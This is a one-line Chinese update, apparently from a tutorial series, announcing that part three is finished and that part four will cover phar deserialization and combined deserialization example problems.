终于更新完三了,斯哈斯哈,接下去的四将更新的是更具有难度的phar反序列化以及反序列化综合例题